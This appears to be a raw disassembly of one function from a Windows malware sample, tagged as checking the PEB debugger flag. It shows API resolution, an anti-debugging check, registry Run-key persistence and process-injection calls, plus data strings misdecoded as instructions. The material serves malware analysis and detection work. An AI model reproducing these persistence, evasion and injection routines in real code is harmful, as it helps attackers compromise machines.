Function at 0x4291d5
Capabilities:
Check for peb beingdebugged flag

Disassembly:
pop edi
push ebx
push 0x6964686f
pop edi
push eax
push 0x5f6f746f
push ebp
push ebx
push edx
pushal
js 0x429022
jns 0x429022
jmp 0x42900b
call 0x42a4d6
mov esi, dword [esp + 0x20]
call 0x429041
popal
js 0x429036
jns 0x429036
jmp 0x42909f
push 0x4029f6
ret
mov ebx, dword [ebp + 0x24]
add ebx, esi
movzx ecx, word [ebx + eax*2]
mov ebx, dword [ebp + 0x1c]
add ebx, esi
mov ebx, dword [ebx + ecx*4]
add ebx, esi
sub esp, 0x110
mov edi, esp
mov dword [esp + 0xf4], esi
call fcn.0042971d
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x4290c7
mov eax, dword [esp]
call 0x4290e5
push ebp
push ebx
inc ebp
push edx
xor esi, dword [edx]
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0x8e8e8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x4290ee
mov eax, dword [esp]
call 0x42910e
inc ecx
inc esp
push esi
inc ecx
push eax
dec ecx
xor esi, dword [edx]
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0x94ee8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x429117
mov eax, dword [esp]
call 0x429132
dec ebp
push eax
push edx
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0x991e8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x42913b
mov eax, dword [esp]
call 0x42915a
push edi
push ebx
dec edi
inc ebx
dec ebx
xor esi, dword [edx]
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0x9b5e8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x429163
mov eax, dword [esp]
call 0x429182
push ebx
dec eax
inc ebp
dec esp
dec esp
xor esi, dword [edx]
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0xa18e8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x42918b
mov eax, dword [esp]
call 0x4291a9
push ebp
push edx
dec esp
dec ebp
dec edi
dec esi
inc esp
dec esp
dec esp
add bh, bh
ror byte [ebx + 0xa0ee8f0], 1
add byte [eax], al
mov ebp, ecx
push esi
call ebx
cld
stosd dword es:[edi], eax
mov ecx, ebp
loop 0x4291b2
mov esi, esp
call 0x4291d5
inc ecx
outsb dx, byte [esi]
jb 0x429242
and byte [ecx + 0x6e], al
insb byte es:[di], dx
and byte [esi + 0x33], dh
xor byte cs:[eax], al
push 0
push 0
call dword [esi + 4]
call dword [esi + 8]
js 0x4291e4
jns 0x4291e4
jmp 0x4291f0
or eax, eax
je 0x4291ee
int3
call dword [esi + 0xc]
push 1
push eax
call dword [esi + 0x10]
js 0x4291fc
or al, 0x6a
add dword [eax - 1], edx
push esi
adc byte [eax + 3], bh
jns 0x4291fc
jmp 0x429265
push 0x2710
call dword [esi + 0x44]
call fcn.004292b5
mov esi, esp
push 0xea60
call dword [esi + 0x44]
sub esp, 0x1130
push esp
call fcn.00429be7
mov eax, esp
add esp, 0x1130
push 1
push eax
call dword [esi + 0x10]
push 0x493e0
call dword [esi + 0x44]
call fcn.0042928a
mov esi, esp
call 0x42924b
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
dec eax
popal
jae 0x42929a
jne 0x4292b8
add byte [edx], ch
push 0x1f0001
call dword [esi + 0x8c]
call dword [esi + 8]
or eax, eax
je 0x429279
sub esp, 0x1130
push esp
call fcn.00429c19
mov eax, esp
add esp, 0x1130
push 1
push eax
call dword [esi + 0x10]
push dword fs:[0x30]
pop eax
movzx eax, byte [eax + 2]
or al, al
jne 0x429284
jmp 0x42922d
nop
mov dword [edx], eax
call fcn.00429e7a
lea eax, [edx + 0x39]
nop
nop
nop
mov dword [edx], eax
call fcn.00429c84
call fcn.00429cb5
int3
or eax, 0xec810000
xor byte [ecx], dl
add byte [eax], al
push esp
call dword [esi + 0x84]
mov ax, word [esp + 6]
add esp, 0x1130
cmp ax, 0x1d
ja 0x4293db
push eax
push esp
call 0x42931e
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x429360
jb 0x429355
outsb dx, byte [esi]
je 0x429336
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x429369
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x429359
push ebx
jb 0x429377
imul esp, dword [ebx + 0x65], 0x614c5c73
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
push ebx
jb 0x429386
jb 0x42936f
push eax
popal
jb 0x429378
insd dword es:[edi], dx
je 0x429380
jb 0x429390
add byte [eax + 2], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
push 0x53657261
jb 0x4293b4
jb 0x429341
pop ecx
call 0x42934b
add byte [eax], al
add byte [eax], al
pop eax
push 4
push eax
push 4
push 0
push ecx
push ebx
call dword [esi + 0xb0]
add byte [eax], al
push eax
push esp
call 0x42939c
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x4293de
jb 0x4293d3
outsb dx, byte [esi]
je 0x4293b4
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x4293e7
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x4293d7
push ebx
jb 0x4293f5
imul esp, dword [ebx + 0x65], 0x614c5c73
arpl word [ebp + 0x73], sp
pop esp
dec esp
popal
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
push ebx
jb 0x429404
jb 0x4293ed
pop esp
push eax
popal
jb 0x4293f6
insd dword es:[edi], dx
je 0x4293fe
jb 0x42940e
add byte [eax + 2], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
push 0x57657261
imul esi, dword [ebx], 0x59
call 0x4293c6
add byte [eax], al
add byte [eax], al
pop eax
push 4
push eax
push 4
push 0
push ecx
push ebx
call dword [esi + 0xb0]
jmp 0x4294d4
add byte [eax], al
add cl, ch
stc
add byte [eax], al
add byte [eax + 0x54], dl
push eax
push esp
call 0x42941c
cmp al, byte [eax]
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x42945e
jb 0x429453
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x429434
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x429467
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x429457
push ebx
jb 0x429475
jbe 0x429469
imul esp, dword [ebx + 0x65], 0x614c5c73
arpl word [ebp + 0x73], sp
pop esp
dec esp
popal
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
push ebx
jb 0x429484
jb 0x42946d
push eax
popal
jb 0x429476
insd dword es:[edi], dx
je 0x42947e
jb 0x42948e
add byte [eax + 2], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
push 0x53657261
jb 0x4294b2
jb 0x42943f
pop ecx
call 0x429449
add dword [eax], eax
add byte [eax], al
pop eax
push 4
push eax
push 4
push 0
push ecx
push ebx
call dword [esi + 0xb0]
add byte [eax], al
push eax
push esp
call 0x42949a
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x4294dc
jb 0x4294dd
jb 0x4294d1
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x4294b2
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x4294e5
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x4294d5
push ebx
jb 0x4294f3
imul esp, dword [ebx + 0x65], 0x614c5c73
arpl word [ebp + 0x73], sp
pop esp
dec esp
popal
outsb dx, byte [esi]
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
push ebx
jb 0x429502
jb 0x4294eb
pop esp
push eax
popal
jb 0x4294f4
insd dword es:[edi], dx
je 0x4294fc
jb 0x42950c
add byte [eax + 2], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
push 0x57657261
imul esi, dword [ebx], 0x59
call 0x4294c4
add dword [eax], eax
add byte [eax], al
pop eax
push 4
push eax
push 4
push 0
push ecx
push ebx
call dword [esi + 0xb0]
add byte [eax], al
add byte [ecx + 0x100ec], al
add byte [eax + ebp*8 + 0x6c], dl
sub esp, 0x100
in al, dx
add byte [ecx], al
add byte [eax], al
push esp
call fcn.00429c4c
insb byte es:[edi], dx
pop es
add byte [eax], al
mov edi, esp
push 0x10
push edi
call dword [esi + 0x70]
cmp eax, 0xffffffff
je 0x42950a
mov ebx, eax
call fcn.0042a0d1
add byte [edx], ch
push 0
push 0
push ebx
call dword [esi + 0x3c]
push ebx
call fcn.00429f30
mov edi, esp
push 7
push edi
call dword [esi + 0x28]
push eax
push esp
call 0x42953f
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x429580
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
inc ebx
jne 0x4295a1
jb 0x429596
outsb dx, byte [esi]
je 0x42958a
jb 0x4295aa
imul ebp, dword [edi + 0x6e], 0x6e75525c
add byte [eax + 1], ch
add byte [eax], al
cmp bh, 0x96
lodsb al, byte [esi]
add byte [eax], al
add byte [ebx - 0x75], bl
invalid
xchg byte [eax - 0x77000000], dh
xchg dword [esi + 0xd], ecx
add byte [eax], al
add byte [ebx + 0xb886], cl
add byte [ecx + 0xd3987], cl
mov eax, dword [esi + 0xb8]
mov dword [edi + 0xd39], eax
lea eax, [edi + 0xcfd]
push eax
push esp
add byte [ebp + 0xcfd87], cl
add byte [eax + 0x54], dl
push 0
push ebx
push eax
push 0
push 0
call dword [esi + 0x74]
pop eax
xor eax, eax
mov dword [esi + 0xfc], eax
sub esp, 0x100
push esp
call fcn.00429c4c
call 0x4295c4
pop edi
mov eax, dword [esi + 0x44]
mov dword [edi + 0xd1f], eax
mov eax, dword [esi + 0x84]
mov dword [edi + 0xd36], eax
mov dword [edi + 0xe03], eax
mov eax, dword [esi + 0xf0]
mov dword [edi + 0xd9a], eax
mov dword [edi + 0xe58], eax
mov eax, dword [esi + 0x10]
mov dword [edi + 0xe6c], eax
mov eax, dword [esi + 0x50]
mov dword [edi + 0xe8f], eax
mov eax, dword [esi + 0x64]
mov dword [edi + 0xeab], eax
mov eax, dword [esi + 0x10]
mov dword [edi + 0xec6], eax
mov eax, dword [esi + 0x48]
or eax, eax
je 0x42968c
push 1
push 0
call eax
mov edx, dword [esi + 0xf4]
movzx ebx, word [edx + 0x3c]
add ebx, edx
mov ecx, dword [ebx + 0x104]
mov ebp, dword [ebx + 0x54]
sub ecx, ebp
cmp ecx, 0x200
jb 0x42968a
add ebp, edx
lea edx, [edi + 0xd16]
push 0x1be
nop
push ebp
push edx
call int.0042a49a
lea ecx, [ebp + 0x1be]
mov edx, esp
push 0x100
push ecx
push edx
call int.0042a49a
call dword [esi + 0x4c]
push eax
push esp
push 0
push eax
push ebp
push 0
push 0
call dword [esi + 0x5c]
mov dword [esi + 0xfc], eax
pop eax
push 0x1f4
call dword [esi + 0x44]
int3
push 0
push 0
call dword [esi + 0x94]
push eax
push esp
push eax
call dword [esi + 0x90]
push 0
push 0x1f0fff
call dword [esi + 0x50]
or eax, eax
je 0x42971c
mov ebx, eax
push 0x40
push 0x1000
push 0x800
push 0
push ebx
call dword [esi + 0x68]
or eax, eax
je 0x429710
mov ebp, eax
lea edx, [edi + 0xd16]
push eax
push esp
push 0x1be
nop
push edx
push ebp
push ebx
call dword [esi + 0x54]
pop eax
cmp eax, 0x1be
nop
jne 0x429710
mov edx, esp
lea ecx, [ebp + 0x1be]
push eax
push esp
push 0x400
push edx
push ecx
push ebx
call dword [esi + 0x54]
call dword [esi + 0x4c]
push esp
push 0
push eax
push ebp
push 0
push 0
push ebx
call dword [esi + 0x58]
mov dword [esi + 0xfc], eax
pop eax
push ebx
call dword [esi + 0x60]
push 0x1f4
call dword [esi + 0x44]
int3